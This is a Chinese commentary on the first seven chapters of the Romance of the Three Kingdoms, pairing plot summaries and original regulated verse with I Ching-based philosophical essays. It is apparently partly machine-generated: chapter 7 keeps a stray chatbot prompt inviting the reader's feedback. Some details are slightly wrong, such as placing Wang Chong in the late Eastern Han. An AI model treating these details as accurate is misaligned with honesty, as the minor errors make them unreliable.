《深度解析三国演义经典哲思》


 第1章 宴桃园豪杰三结义 斩黄巾英雄首立功

    《三国演义》开篇词牌名诗词：


    《临江仙·滚滚长江东逝水》


    滚滚长江东逝水，浪花淘尽英雄。


    是非成败转头空。


    青山依旧在，几度夕阳红。


    白发渔樵江渚上，惯看秋月春风。


    一壶浊酒喜相逢。


    古今多少事，都付笑谈中。


    这首诗以雄浑的气势和深沉的感慨，展现了历史的沧桑巨变和英雄的兴衰沉浮，具有很高的艺术价值。


    时代背景：


    东汉末年，朝政腐败，桓帝、灵帝在位期间，宠信宦官，致使十常侍（十个太监）狼狈为奸，卖官鬻爵，陷害忠良，政治黑暗，民不聊生。再加上连年灾荒，百姓生活困苦不堪，人心思变，社会动荡不安，整个国家处于风雨飘摇之中。


    黄巾起义：


    在这样的背景下，巨鹿人张角得仙人传授《太平要术》，能呼风唤雨。他目睹百姓疾苦，便以“苍天已死，黄天当立；岁在甲子，天下大吉”为口号，发动了大规模的农民起义，史称“黄巾起义”。起义军头扎黄巾，揭竿而起，声势浩大，官军望风而靡，各地纷纷告急。


    英雄出场：


    刘备：刘备字玄德，是中山靖王刘胜之后，汉景帝阁下玄孙，但家道中落，以贩屦织席为业。他性格宽和，寡言少语，喜怒不形于色，且为人仁厚，有大志，一心想要拯救百姓于水火之中。


    关羽：关羽字云长，因在家乡杀死恶霸，流落江湖。他生得相貌堂堂，威风凛凛，丹凤眼，卧蚕眉，面如重枣，唇若涂脂，有万夫不当之勇，且重义气，是一位义薄云天的豪杰。


    张飞：张飞字翼德，是当地的一个屠户，家境殷实。他性如烈火，勇猛过人，嫉恶如仇，对刘备的志向十分钦佩，愿意跟随刘备干一番大事业。


    桃园结义：


    刘备、关羽、张飞三人都去看幽州太守刘焉发布的招兵榜文，因而相识。他们彼此欣赏，都有为国出力之心，遂一见如故。张飞邀请刘备、关羽到自己庄后的桃园饮酒，在桃花盛开的美景中，三人对天盟誓，结拜为异姓兄弟。刘备年长为兄，关羽次之，张飞最小为弟。他们誓言“不求同年同月同日生，但求同年同月同日死”，从此生死与共，共同踏上了征战之路。


    初战黄巾：


    刘关张三人结义后，招募乡勇，打造兵器，积极准备投身到镇压黄巾起义的战斗中。他们带领自己招募的兵马，与黄巾军展开了多次战斗。在战斗中，三人齐心协力，奋勇杀敌，取得了一些胜利，逐渐崭露头角。其中，他们不仅帮助幽州太守刘焉解了青州之围，还多次击败黄巾军的部队，为朝廷立下了功劳。


    第一回通过对东汉末年社会背景的描绘，以及刘备、关羽、张飞三人的出场和桃园结义、初战黄巾等情节的叙述，为整个《三国演义》的故事奠定了基础，拉开了三国乱世纷争的序幕。


    七律赞《桃园豪杰》


    桃园结义美名扬，


    豪杰同心义气长。


    共斩黄巾初立功，


    同扶汉室展锋芒。


    金兰情谊昭日月，


    热血豪情谱华章。


    三国风云自此起，


    千秋传颂忠义堂。


    诠释：


    这首七律主要是对“宴桃园豪杰三结义，斩黄巾英雄首立功”这一情节的赞美。


    诗中说在桃园中，三位豪杰结为兄弟，他们的义气美名远扬且情谊深厚长久。他们共同斩杀黄巾军，初次立下功劳，也展现出了扶持汉室的决心和锋芒。他们之间如金兰般的情谊像日


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    月一样光辉，他们的热血豪情谱写了壮丽的篇章。三国的风云也由此开始，他们的忠义之举将被千秋万代传颂，成为忠义的典范。


    一、《乱世之秋：从哲学角度看东汉末年》


    东汉末年，是中国历史上一个充满动荡与变革的时期。这一时期，朝政腐败，民不聊生，又逢连年灾荒，人民生活困苦不堪。同时，黄巾军起义爆发，天下大乱。在这个背景下，各种哲学思潮也应运而生，人们开始思考如何解决社会的问题，如何寻找人生的意义。


    从哲学的角度来看，东汉末年的社会动荡可以归因于多种因素。首先，朝政腐败是导致社会不稳定的重要原因之一。官员们贪污受贿，欺压百姓，导致社会矛盾激化。其次，连年灾荒使得人民生活困苦不堪，这进一步加剧了社会的不稳定。此外，黄巾军起义的爆发也反映了人民对社会现实的不满和对未来的迷茫。


    在这个动荡的时代，人们开始思考如何解决社会的问题。一些人主张通过改革来解决社会矛盾，例如加强中央集权、打击腐败等。另一些人则主张通过道德修养来提高个人素质，从而影响社会的发展。这些思考和主张反映了不同的哲学观点和价值观。


    在这个时代，也出现了一些着名的哲学家和思想家。例如，王充提出了“无神论”的思想，他认为天地万物都是由物质构成的，不存在超自然的力量。这种思想在当时具有很大的进步意义，它挑战了传统的宗教观念，为人们提供了一种新的思考方式。此外，曹操也是一位具有哲学思想的政治家和军事家。他提出了“唯才是举”的用


    人原则，强调人才的重要性。这种思想在当时具有很大的现实意义，它为曹操的政治和军事成功提供了重要的支持。


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 第2章 张翼德怒鞭督邮 何国舅谋诛宦竖

    七律赞《从周易哲学视角看＜张翼德怒鞭督邮 何国舅谋诛宦竖＞的深层意蕴》：


    周易哲思蕴妙玄，翼德怒举义惊天。


    督邮受谴彰公道，国舅谋诛铲佞权。


    阳刚阴柔相激荡，是非善恶自昭然。


    深层意蕴千秋颂，名着新观绽彩笺。


    诠释：


    首联“周易哲思蕴妙玄，翼德怒举义惊天”，指出从周易哲学的角度来解读这一情节，其中蕴含着精妙深邃的道理，而张飞怒鞭督邮则展现出惊天的正义之举。


    颔联“督邮受谴彰公道，国舅谋诛铲佞权”，描述督邮受到惩罚彰显了公道，何国舅谋划诛杀宦官也表现出铲除奸佞的决心。


    颈联“阳刚阴柔相激荡，是非善恶自昭然”，进一步阐述了周易哲学中阳刚与阴柔相互作用的观点，同时也点明了在这一过程中是非善恶清晰明了。


    尾联“深层意蕴千秋颂，名着新观绽彩笺”，强调了这种深层意蕴将被千秋传颂，以新的视角解读名着也如绽放的绚丽彩笺般令人瞩目。


    一、《从周易哲学视角看＜张翼德怒鞭督邮 何国舅谋诛宦竖＞的深层意蕴》


    《三国演义》中的“张翼德怒鞭督邮”与“何国舅谋诛宦竖”这两个情节，不仅展现了精彩的故事冲突，更蕴含着深刻的哲理。通过周易哲学的视角来深度解析，我们可以更深入地理解其中的奥秘与智慧。


    在“张翼德怒鞭督邮”这一情节中，张飞的愤怒与冲动，反映了一种阳刚之性的爆发。在周易哲学中，阳代表着积极、主动、刚强的力量。张飞的行为，正是这种阳刚力量的体现。督邮作为腐败的代表，张飞对其的鞭挞，体现了正义对邪恶的抗争，也反映了阳对阴的冲击。


    然而，张飞的怒鞭行为也并非毫无瑕疵。在周易哲学中，过度的阳刚可能会导致偏激与失控。张飞的冲动行为虽然在一定程度上表达了他的正义感，但也可能带来一些不必要的后果。这提醒我们，在面对问题时，既要保持正义的立场，也要学会理性地控制自己的情绪和行为，避免过度的冲动导致不良的后果。


    而“何国舅谋诛宦竖”则展现了权力斗争中的复杂局面。何进作为外戚，试图通过铲除宦官来巩固自己的权力。在周易哲学中，这反映了阴阳之间的相互作用与制衡。宦官势力代表着阴的力量，何进的行动则代表着阳的反击。然而，何进的谋算并不完美，他在决策过程中犹豫不决，最终导致了局势的失控。


    这一情节也提醒我们，在权力斗争中，要善于把握时机，果断决策。同时，也要认识到阴阳的相互转化，权力的争夺并非一成不变，一时的胜利并不代表最终的成功。何进的失败，也让我们看到了过度追求权力所带来的危险。


    从整体上看，“张翼德怒鞭督邮”与“何国舅谋诛宦竖”这两个情节相互关联，共同构成了一个充满矛盾与冲突的局面。在这个局面中，正义与邪恶、阳刚与阴柔、权力与反抗相互交织，展现了人性的复杂与社会的动荡。


    在周易哲学中，这种矛盾与冲突是宇宙万物发展的必然规律。阴阳的相互作用推动着事物的变化与发展，而矛盾与冲突则是这种变化与发展的动力。通过对这两个情节的深度解析，我们可以更深刻地理解这种哲学思想，认识到事物发展的复杂性与不确定性。


    同时，这两个情节也给我们带来了一些启示。在面对社会的不公与


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    腐败时，我们要有勇气站出来，维护正义。但在行动过程中，也要保持理性与冷静，避免过度的冲动与偏激。而在权力斗争中，我们要善于审时度势，把握机会，同时也要警惕权力的诱惑，避免陷入权力的漩涡而无法自拔。


    总之，“张翼德怒鞭督邮”与“何国舅谋诛宦竖”这两个情节，通过周易哲学的深度解析，展现了深刻的哲理与智慧。它们不仅是《三国演义》中的精彩篇章，更是我们思考人性、社会与历史的重要素材。让我们在欣赏故事的同时，也能从中汲取宝贵的人生经验与智慧，更好地面对生活中的挑战与困境。


    二、用周易哲学从几个方面深度解析“张翼德怒鞭督邮，何国舅谋诛宦竖”：


    1. 阴阳平衡：张飞的怒和何国舅的谋，体现了阴阳两种力量的相互作用。督邮和宦竖代表了阴邪势力，而他们的反抗则是阳刚之力的展现，反映了阴阳在冲突中寻求平衡。


    从周易哲学看阴阳平衡：张飞之怒与何国舅之谋


    在历史的长河中，每一个事件、每一个人物都如同一颗闪耀的星辰，共同编织出璀璨的画卷。而张飞的怒与何国舅的谋，便是其中两颗独特的星辰，它们在阴阳平衡的哲学理念下，展现出了独特的光芒。


    张飞，那个勇猛无畏的豪杰，他的怒代表着阳刚之力的极致爆发。在他的身上，我们看到了一种勇往直前、毫不退缩的精神。他的怒，是对不公的抗争，是对邪恶的宣战。这种怒并非是盲目的冲动，而是源于内心深处的正义感和责任感。在周易哲学中，这种阳刚之力可以被视为“乾”的体现，它象征着天、刚健、进取。


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 第3章 乱世风云变幻奇，董吕故事蕴玄机

    七律赞《刚柔相济与周易哲学：从董卓与吕布看世间百态》：


    《赞刚柔并济》


    乱世风云变幻奇，董吕故事蕴玄机。


    刚猛残暴董卓势，柔谋善诱李肃机。


    丁原刚正守忠义，吕布徘徊心未齐。


    周易哲学观百态，刚柔相济世间知。


    诠释：


    诗的首联“乱世风云变幻奇，董吕故事蕴玄机”，指出在动荡的乱世中，董卓与吕布的故事充满了奇妙和神秘之处，蕴含着深刻的道理。


    颔联“刚猛残暴董卓势，柔谋善诱李肃机”，分别描述了董卓的刚猛残暴和李肃的柔谋善诱，展现出他们不同的性格特点和手段。


    颈联“丁原刚正守忠义，吕布徘徊心未齐”，对比了丁原的刚正忠义和吕布的犹豫不决，进一步凸显出人物的差异。


    尾联“周易哲学观百态，刚柔相济世间知”，点明了以周易哲学的角度来观察世间百态，强调了刚柔相济这一智慧在世间的重要性。


    整首诗通过对董卓、吕布等人物的描绘，结合周易哲学的理念，深刻地诠释了世间的复杂和刚柔相济的道理。


    一、《刚柔相济与周易哲学：从董卓与吕布看世间百态》


    在《三国演义》中，“议温明董卓叱丁原 馈金珠李肃说吕布”这一情节，展现了复杂的人性和权力斗争，蕴含着深刻的周易哲学智慧。


    周易哲学强调阴阳相互依存、相互转化，刚柔是其中的重要概念。董卓的刚猛与李肃的谋略，恰如刚与柔的体现，他们相互作用，共同推动了情节的发展。


    董卓，以其残暴和专横而闻名，展现出了刚猛的一面。他凭借强大的武力和权势，在朝堂上横行霸道，肆无忌惮。这种刚猛的力量让他能够在短时间内积聚起巨大的权力，但也使其陷入了孤立和危险之中。他的刚猛如同烈火，燃烧着一切，却也容易失控，最终引火自焚。


    而李肃，则代表着谋略和智慧，是柔的象征。他善于洞察人心，利用金钱和利益来诱惑吕布，以达到自己的目的。他的谋略如同流水，看似柔弱无力，却能在不知不觉中改变局势，为自己谋取利益。


    丁原，作为吕布的义父，坚守着自己的原则和立场，与董卓形成了鲜明的对比。他的刚正不阿，使他成为了董卓的眼中钉。然而，他过于刚硬的性格也使得他在面对董卓的威胁时，缺乏灵活的应对策略，最终导致了自己的失败。


    吕布，这个在故事中具有重要地位的人物，则体现了刚柔相济的特点。他既有勇猛无畏的一面，能够在战场上杀敌无数；又有优柔寡断的一面，容易被他人的言语和利益所左右。他在董卓与丁原之间的摇摆不定，正是他内心刚柔矛盾的体现。


    从周易哲学的角度来看，董卓的刚猛与李肃的谋略并非绝对的对立，而是相互依存、相互转化的。董卓的刚猛在一定程度上成就了他的权势，但也为他的失败埋下了伏笔；李肃的谋略虽然帮助他达到了目的，但也需要借助董卓的力量来实现。他们之间的关系，就如同阴阳的相互作用，刚柔在不断地转化和平衡中。


    在面对复杂的局面时，刚柔相济是一种明智的选择。过于刚猛，容易陷入孤立和冲突；过于柔弱，又容易被人轻视和欺负。只有将刚与柔巧妙地结合起来，才能更好地应对各种挑战。


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    同时，这一情节也提醒我们，在权力和利益的争夺中，人性的弱点往往会被放大。董卓的贪婪和残暴，李肃的狡诈和自私，吕布的虚荣和动摇，都反映了人性的复杂一面。在这种情况下，我们需要保持清醒的头脑，不被表面的现象所迷惑，善于洞察事物的本质，才能做出正确的判断和选择。


    总之，“议温明董卓叱丁原 馈金珠李肃说吕布”这一情节，通过董卓、李肃、丁原和吕布等人的形象和行为，生动地展现了周易哲学中刚柔相济的道理。它让我们看到了人性的多样性和复杂性，也让我们对世间的事物有了更深刻的认识和理解。在生活中，我们也应该学会运用刚柔相济的智慧，以更好地应对各种局面，实现自己的人生目标。


    二、用周易哲学从几个方面对董卓与吕布的故事进行深度解析：


    阴阳平衡：董卓的刚猛残暴可视为阳，而吕布的反复无常则似阴。他们的行为体现了阴阳之间的失衡与冲突，同时也反映出在世间百态中，阴阳的相互作用与影响。


    变化之道：董卓与吕布的命运起伏展现了事物的变化无常。正如周易中所说，变化是永恒的，他们的兴衰荣辱揭示了在世事变迁中，需顺应变化，把握时机。


    刚柔并济：董卓过于刚硬，导致众叛亲离；吕布则缺乏坚定的立场，过于柔顺。这体现了刚柔之间需要适度平衡，只有刚柔相济才能在复杂的环境中立足。


    吉凶转化：董卓的跋扈最终导致了他的灭亡，吕布的反复也使其陷入困境。这表明吉凶是可以相互转化的，过度的极端行为往往会带来不利的后果。


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 第4章 废汉帝陈留践位 谋董贼孟德献刀

    七律来赞《周易哲学视角下的权谋与更替——废汉帝陈留践位与谋董贼孟德献刀》：


    《赞废汉帝与谋董贼》


    周易哲思透史篇，权谋更替起烽烟。


    汉帝被废陈留位，董贼猖狂孟德煎。


    阴翳阳刚相竞舞，吉凶转化势如弦。


    千秋故事留余韵，智慧光芒耀世传。


    诠释：


    首联：“周易哲思透史篇，权谋更替起烽烟”，点明了周易哲学在这段历史中的重要作用，以及权谋争斗引发的动荡局势。


    颔联：“汉帝被废陈留位，董贼猖狂孟德煎”，描述了废汉帝陈留践位和董卓的跋扈，同时也表现出曹操所面临的困境。


    颈联：“阴翳阳刚相竞舞，吉凶转化势如弦”，进一步阐释了周易哲学中阴阳相互作用、吉凶相互转化的道理，展现了历史的变幻无常。


    尾联：“千秋故事留余韵，智慧光芒耀世传”，强调了这段历史故事的深远影响和其中所蕴含的智慧，将其视为永恒的光辉传承。


    一、《周易哲学视角下的权谋与更替——废汉帝陈留践位与谋董贼孟德献刀》


    在历史的长河中，“废汉帝陈留践位，谋董贼孟德献刀”这一事件犹如一颗璀璨的星辰，闪耀着复杂的权谋与人性之光。通过周易哲学的深度解析，我们能够更深入地理解其中所蕴含的道理与智慧。


    周易哲学强调阴阳的相互作用与平衡。在这一事件中，我们可以看到阴阳的明显体现。董卓的专横跋扈代表着阳刚之极，而曹操的智谋与隐忍则体现了阴柔之美。董卓废汉帝，自立为太师，其权势如日中天，这是阳的过度膨胀。而曹操在面对董卓的强大时，选择了韬光养晦，暗中谋划，这是阴的潜藏与等待。


    在周易中，变化是永恒的主题。这一事件的发展也充分展现了变化的无常。汉帝被废，看似是董卓的胜利，但这也为他的灭亡埋下了伏笔。曹操的献刀之举，看似是一次冒险的行动，但却为他日后的崛起奠定了基础。这种变化的不确定性，让我们明白在世事中，没有绝对的胜负，一切都在不断地转化。


    同时，周易哲学还告诉我们要善于把握时机。曹操在董卓气焰嚣张之时，没有盲目行动，而是等待时机，最终在王允的宴会上得到了刺杀董卓的机会。这体现了他对时机的敏锐洞察力和准确把握。时机的选择在权谋中至关重要，过早或过晚的行动都可能导致失败。


    在这一事件中，我们还能看到周易哲学中关于刚柔相济的道理。董卓的刚猛残暴让他在一时之间得逞，但也使他失去了人心。曹操则在刚与柔之间找到了平衡，他既有刺杀董卓的勇气，又有智谋应对各种挑战。刚柔相济使他能够在复杂的局势中立足，并逐渐发展壮大。


    此外，周易哲学中的吉凶转化也在这一事件中得到了体现。董卓原本看似处于绝对的优势地位，但他的恶行最终引发了众怒，导致了他的灭亡。而曹操虽然一度处于危险之中，但他通过自己的努力和智慧，实现了吉凶的转化，从一个小小的校尉逐渐成为了一方霸主。


    从这一事件中，我们还可以领悟到周易哲学中关于自我修养的重要性。曹操在面对困境时，能够保持冷静和坚定，不断提升自己的能力和智慧。他的隐忍、果断和智谋，都是他在长期的历练中培养出来的。我们在生活中也应该不断地修炼自己，提高自身的素质，以应对各种挑


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    战和变化。


    废汉帝陈留践位，谋董贼孟德献刀，这一历史事件犹如一面镜子，映照出了人性的复杂和权谋的变幻。通过周易哲学的解析，我们更能深刻地理解其中的道理和智慧，从中汲取经验和启示，让我们在自己的人生道路上走得更加稳健、智慧。


    在历史的长河中，这样的事件不断地上演，它们既是过去的记忆，也是我们前行的动力。让我们以史为鉴，用周易哲学的智慧照亮我们的人生之路，在纷繁复杂的世界中找到属于自己的方向和平衡。


    二、用周易哲学从几个方面对“废汉帝陈留践位，谋董贼孟德献刀”进行深度解析：


    （一）阴阳平衡与转化


    1. 董卓的专横代表阳刚之极，曹操的隐忍则体现阴柔之美。


    2. 废汉帝是阳的过度表现，而曹操的谋划则是阴的潜藏与等待。


    3. 两者相互作用，最终导致阴阳的转化，曹操的崛起与董卓的灭亡。


    （二）变化与无常


    1. 事件的发展充满变化，汉帝被废与曹操献刀都体现了世事的无常。


    2. 董卓的权势如日中天到最终败亡，曹操的处境由危险到崛起，都在变化中。


    （三）时机与把握


    1. 曹操选择在王允宴会上刺杀董卓，是准确把握时机的体现。


    2. 时机的选择对事件的发展起到关键作用，过早或过晚都可能导致不同结果。


    （四）刚柔相济


    1. 董卓的刚猛与曹操的智谋形成对比，体现了刚柔相济的道理。


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 第5章 发矫诏诸镇应曹公，破关兵三英战吕布

    七律赞《〈三国演义〉第五回：周易哲学视角下的英雄纷争与命运交织》：


    《七律·赞〈三国演义〉第五回》


    三国风云卷巨澜，回观第五智谋全。


    周易哲理蕴深意，英雄壮举震心弦。


    纷争战火显豪气，命运交织谱史篇。


    千古传奇书不尽，华章再续墨香传。


    诠释：


    诗的首联“三国风云卷巨澜，回观第五智谋全”，点明了《三国演义》这部作品中风云变幻的背景，以及第五回所展现的丰富智谋。


    颔联“周易哲理蕴深意，英雄壮举震心弦”，强调了用周易哲学来解析这一回所蕴含的深刻意义，英雄们的壮举让人心灵震撼。


    颈联“纷争战火显豪气，命运交织谱史篇”，描述了回中所呈现的激烈纷争和战火，以及英雄们命运交织的壮丽篇章。


    尾联“千古传奇书不尽，华章再续墨香传”，表达了这部千古传奇作品的不朽魅力，以及其将不断被续写传承的意义。


    整首诗围绕《三国演义》第五回，从不同角度赞颂了其中的精彩内容和深远意义。


    一、《〈三国演义〉第五回：周易哲学视角下的英雄纷争与命运交织》


    《三国演义》第五回“发矫诏诸镇应曹公，破关兵三英战吕布”，是这部波澜壮阔的历史巨着中的一个重要篇章。从周易哲学的角度来深度解析这一回，可以揭示出其中蕴含的更深层次的意义和智慧。


    在这一回中，曹操发矫诏号召诸侯共同讨伐董卓，这一行动体现了“变”的思想。周易强调事物的变化是永恒的，而曹操正是看到了董卓的暴虐无道，顺应时势，勇于发起变革。他的矫诏就如同一个触发点，引发了天下英雄的响应，象征着在混沌中寻求突破和改变的力量。


    而各路诸侯的响应，也反映了周易中“同人”的概念。众人齐聚一堂，为了共同的目标而努力，展现了团结的力量。然而，诸侯之间的勾心斗角、互相猜忌，又体现了“同人”中的复杂性和矛盾性。正如周易所言，事物的发展并非一帆风顺，团结之中往往伴随着分歧和冲突。


    孙坚作为先锋进兵汜水关，却因袁术的私心而失利，这一情节揭示了命运的无常和难以捉摸。在周易中，命运被视为一种不可抗拒的力量，但同时也提醒人们要保持警惕和清醒。孙坚的遭遇让我们看到，即使是英勇的将领，也可能受到外界因素的影响而遭遇挫折。


    关羽温酒斩华雄的壮举，是这一回中的精彩片段。在周易哲学中，“刚”与“柔”是相互对立又相互转化的概念。关羽的勇猛和果断展现了“刚”的力量，而他的自信和沉着则体现了“柔”的一面。他在战场上的表现，正是刚柔相济的典范，体现了在面对困难和挑战时，应有的坚韧和智慧。


    而三英战吕布的场景，则更是充满了周易哲学的意味。吕布代表着强大的势力和外在的挑战，而刘备、关羽、张飞三兄弟的联合，则象征着团结的力量可以战胜一切困难。在这场战斗中，我们看到了“阴”与“阳”的相互作用，吕布的强大势力如同“阳”，而三兄弟的团结则如同“阴”，阴阳相互制衡，最终达到了一种动态的平衡。


    同时，这一情节也反映了周易中“时”的重要性。在合适的时机，三兄弟齐心协力，发挥出了最大的力量，取得了胜利。时机的把握对于事物的发展至关重要，只有在正确的


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    时间采取正确的行动，才能取得理想的结果。


    从整体来看，《三国演义》第五回展现了周易哲学中关于变化、团结、命运、刚柔相济、阴阳平衡等诸多理念。这些哲学思想贯穿于故事的始终，使这一回不仅仅是一场战争的描写，更是对人性、命运和宇宙规律的深刻思考。


    在现实生活中，我们也可以从周易哲学中汲取智慧。面对变化的世界，我们要学会适应和变革；在与人相处时，要懂得团结和理解；面对命运的挑战，要保持坚定的信念和积极的态度。周易哲学为我们提供了一种看待世界和人生的独特视角，让我们能够更好地理解和应对生活中的种种困境与机遇。


    总之，通过周易哲学的深度解析，我们更能体会到《三国演义》第五回所蕴含的丰富内涵和深远意义。这不仅是一段历史的记载，更是一部充满智慧和启示的经典之作。让我们在欣赏故事的同时，也能从中领悟到周易哲学的博大精深，从而更好地面对生活的挑战，追寻人生的真谛。


    二、用周易哲学从几个方面深度解析《三国演义》第五回：


    （一）变易


    本回中，曹操发矫诏讨伐董卓，这是局势的重大变化。体现了“变易”的思想，事物在不断发展变化，需要因时而动，顺势而为。


    （二）阴阳平衡


    诸侯联军与董卓势力的对抗，体现了阴阳的相互作用。双方势力此消彼长，在斗争中寻求平衡。


    （三）刚柔相济


    关羽的勇猛与智谋，展现了刚柔相济的特点。他在战场上的果敢和策略运用，是刚与柔的完美结合。


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 第6章 焚金阙董卓行凶 匿玉玺孙坚背约

    七律赞《周易哲学视角下的“焚金阙董卓行凶与匿玉玺孙坚背约”解析》：


    《七律·赞解析》


    周易哲思蕴妙玄，董凶孙背史篇传。


    金阙焚时风云变，玉玺匿处道义偏。


    命运无常因果绕，人心叵测是非连。


    深研解析明真谛，智慧光芒照世前。


    诠释：


    诗的首联“周易哲思蕴妙玄，董凶孙背史篇传”，点明了以周易哲学来解析这一历史事件的独特之处，同时也指出了“焚金阙董卓行凶与匿玉玺孙坚背约”这一情节在历史篇章中的流传。


    颔联“金阙焚时风云变，玉玺匿处道义偏”，描述了董卓焚毁金阙所带来的局势变化，以及孙坚藏匿玉玺时在道义上的偏颇。


    颈联“命运无常因果绕，人心叵测是非连”，进一步探讨了命运的无常和因果的循环，以及人性的复杂和是非的纠葛。


    尾联“深研解析明真谛，智慧光芒照世前”，强调了通过深入研究解析能够明白其中的真谛，而这种智慧的光芒将照耀于世。


    整首诗围绕着“焚金阙董卓行凶与匿玉玺孙坚背约”的解析，展现了周易哲学的深刻内涵和对历史事件的独到见解。


    一、《周易哲学视角下的“焚金阙董卓行凶与匿玉玺孙坚背约”解析》


    在历史的长河中，每一个事件都如同一颗璀璨的星辰，闪耀着独特的光芒。而《三国演义》第六回“焚金阙董卓行凶 匿玉玺孙坚背约”这一情节，更是充满了戏剧性与复杂性。通过运用周易哲学的深邃智慧，我们可以更深入地剖析其中所蕴含的人性、命运与因果。


    在这一回中，董卓的暴行如同一场肆虐的风暴，打破了原本的平静。董卓凭借其权势，肆意妄为，焚毁金阙，其行径不仅是对皇权的亵渎，更是对人性的践踏。这种暴行在周易哲学中可以视为一种极端的“阳”性力量的爆发，过度的刚强与霸道，最终导致了混乱与灾难。


    而孙坚匿玉玺这一行为，则展现了人性的复杂与微妙。孙坚作为一方诸侯，面对玉玺这一象征着皇权的宝物，心中难免产生欲望与贪念。他的背约行为，既是对道义的背离，也是对自身命运的一种抉择。在周易哲学中，这可以看作是“阴”性力量的作用，欲望与私利在关键时刻影响了他的决策。


    从董卓与孙坚的行为中，我们可以看到命运的无常与不可预测性。董卓原本位高权重，却因过度膨胀而走向灭亡；孙坚原本有着一定的威望，却因一时的贪念而陷入困境。这正如周易哲学中所强调的，事物的发展是不断变化的，吉凶祸福往往在瞬间转换。


    同时，这一情节也反映了因果循环的道理。董卓的行凶种下了恶因，最终导致了他的覆灭；孙坚的背约行为也为他日后的遭遇埋下了伏笔。在周易哲学中，因果是相互关联的，每一个行为都会产生相应的结果，这是宇宙的法则，也是人性的必然。


    深入探究这一回的故事，我们还能发现其中蕴含的阴阳平衡与和谐的重要性。董卓的暴行打破了阴阳的平衡，导致了社会的混乱；而孙坚的背约则破坏了人与人之间的信任与和谐。周易哲学告诉我们，只有保持阴阳的平衡与和谐，才能实现事物的稳定与发展。


    此外，这一情节还让我们思考权力与道德的关系。董卓凭借


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    权力为所欲为，而孙坚在权力与道德之间产生了挣扎。这提醒我们，权力如果不受道德的约束，将会带来巨大的危害；而道德则是我们在面对权力与诱惑时的坚守与底线。


    在周易哲学的视角下，“焚金阙董卓行凶 匿玉玺孙坚背约”这一情节不仅仅是一个历史事件的描述，更是对人性、命运、因果、阴阳平衡以及权力与道德等诸多方面的深刻思考与揭示。它让我们看到了历史的复杂性与深度，也让我们从中汲取智慧与教训。


    当我们回顾这一段历史时，不禁感叹命运的捉弄与人性的脆弱。但正是这些复杂的情感与冲突，构成了历史的魅力所在。通过用周易哲学来解析这一情节，我们能够更全面地理解历史的发展脉络，同时也能更好地审视当下的自己，思考我们在面对权力、欲望与道德抉择时应有的态度与行为。


    在历史的长河中，每一个瞬间都承载着无尽的意义与价值。“焚金阙董卓行凶 匿玉玺孙坚背约”这一情节，将永远铭刻在历史的记忆中，成为我们不断探索人性与命运的重要篇章。而周易哲学的智慧，也将如同璀璨的星光，照亮我们前行的道路，指引我们在人生的旅途中不断追寻真理与智慧。


    二、用周易哲学从几个方面深度解析“焚金阙董卓行凶 匿玉玺孙坚背约”：


    （一）阴阳平衡的打破


    董卓的暴行代表了极阳的一面，过度的刚强与霸道破坏了社会的阴阳平衡。孙坚匿玉玺则体现了阴的一面，私欲的滋生也使阴阳失衡。


    周易哲学视角下董卓暴行与孙坚匿玉玺的阴阳失衡解析


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 第7章 袁绍磐河战公孙 孙坚跨江击刘表

    七律赞《周易哲学视角下的乱世风云——袁绍磐河战公孙与孙坚跨江击刘表》：


    《七律·赞〈乱世风云〉》


    周易哲思透战烟，磐河江畔起波澜。


    袁公壮志雄心显，孙伯豪情义气燃。


    乱世纷争谋略展，风云变幻智谋全。


    史书千载留佳话，墨笔飞扬颂古篇。


    诠释：


    诗的首联“周易哲思透战烟，磐河江畔起波澜”，点明了文章以周易哲学的视角来剖析袁绍与公孙瓒在磐河之战以及孙坚跨江击刘表的历史事件，同时也描绘出了战争的硝烟弥漫和局势的波澜壮阔。


    颔联“袁公壮志雄心显，孙伯豪情义气燃”，分别描述了袁绍的壮志豪情和孙坚的义气豪情，展现出他们在乱世中的英雄气概。


    颈联“乱世纷争谋略展，风云变幻智谋全”，强调了在乱世中各方势力运用谋略和智慧进行争斗，局势风云变幻。


    尾联“史书千载留佳话，墨笔飞扬颂古篇”，表达了这些历史事件在千百年的史书上留下了佳话，而作者以飞扬的笔墨来赞颂这古老的篇章。


    整首诗通过对文章内容的概括和情感的抒发，赞颂了这段充满风云变幻和智谋较量的历史，展现了其在历史长河中的重要意义。你觉得这样的诠释如何呢？你还可以提出更多的想法和建议，让我们一起把这首诗诠释得更加完美。


    一、《周易哲学视角下的乱世风云——袁绍磐河战公孙与孙坚跨江击刘表》


    在历史的长河中，袁绍磐河战公孙与孙坚跨江击刘表这两个事件犹如两颗璀璨的星辰，闪耀在那个动荡的时代。而当我们以周易哲学的深邃视角来审视这些事件时，更能发现其中蕴含的玄妙与智慧。


    《周易》作为中国古代哲学的重要经典，以其对宇宙万物变化规律的深刻洞察，为我们解析历史事件提供了独特的思维框架。在袁绍与公孙瓒的磐河之战中，我们可以看到周易哲学中“阴阳”对立与转化的体现。


    袁绍，作为一方豪强，代表着权力与势力。他的崛起与发展，恰如“阳”的力量在不断壮大。而公孙瓒，同样拥有自己的势力范围，与袁绍形成了相互抗衡的局面，这便是“阴”的存在。在这场战争中，双方的争斗如同阴阳之间的博弈，此起彼伏，相互制约。


    然而，战争的胜负并非仅仅取决于双方的实力对比，更在于对形势的把握和运用。公孙瓒在初期或许占据一定优势，但袁绍凭借着其智谋与策略，逐渐扭转了局势。这正体现了周易哲学中“变易”的思想，即事物在不断变化发展，优势与劣势可以相互转化。


    而孙坚跨江击刘表，则展现了周易哲学中“刚柔相济”的理念。孙坚以勇猛果敢着称，他的进攻如同一股刚猛之力，冲击着刘表的防线。但刘表也并非毫无还手之力，他以智谋和防守应对孙坚的攻击，展现出了“柔”的一面。刚柔之间的相互作用，使得这场战争更加复杂多变。


    在这场战争中，双方的行动与决策都受到各种因素的影响。周易哲学告诉我们，世间万物皆有其内在联系，看似独立的事件背后往往有着千丝万缕的关联。孙坚的行动或许不仅仅是为了个人的利益，还可能与当时的政治格局、各方势力的平衡等因素息息相关。


    同时，周易哲学还强调“时”与“位”的重要性。在特定的时间和位置上，采取合适的行动至关重要。袁绍与公孙瓒、孙坚与刘表的战争，


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    都是在特定的历史背景下发生的，他们的选择和行动必须顺应当时的时势，才能取得更好的效果。


    从这场战争中，我们还能看到人性的复杂与多面性。袁绍的野心、公孙瓒的固执、孙坚的勇猛、刘表的谨慎，这些人性的特点在战争中得到了充分的展现。周易哲学认为，人性是善恶并存的，而在战争这种极端环境下，人性的善恶往往会更加鲜明地表现出来。


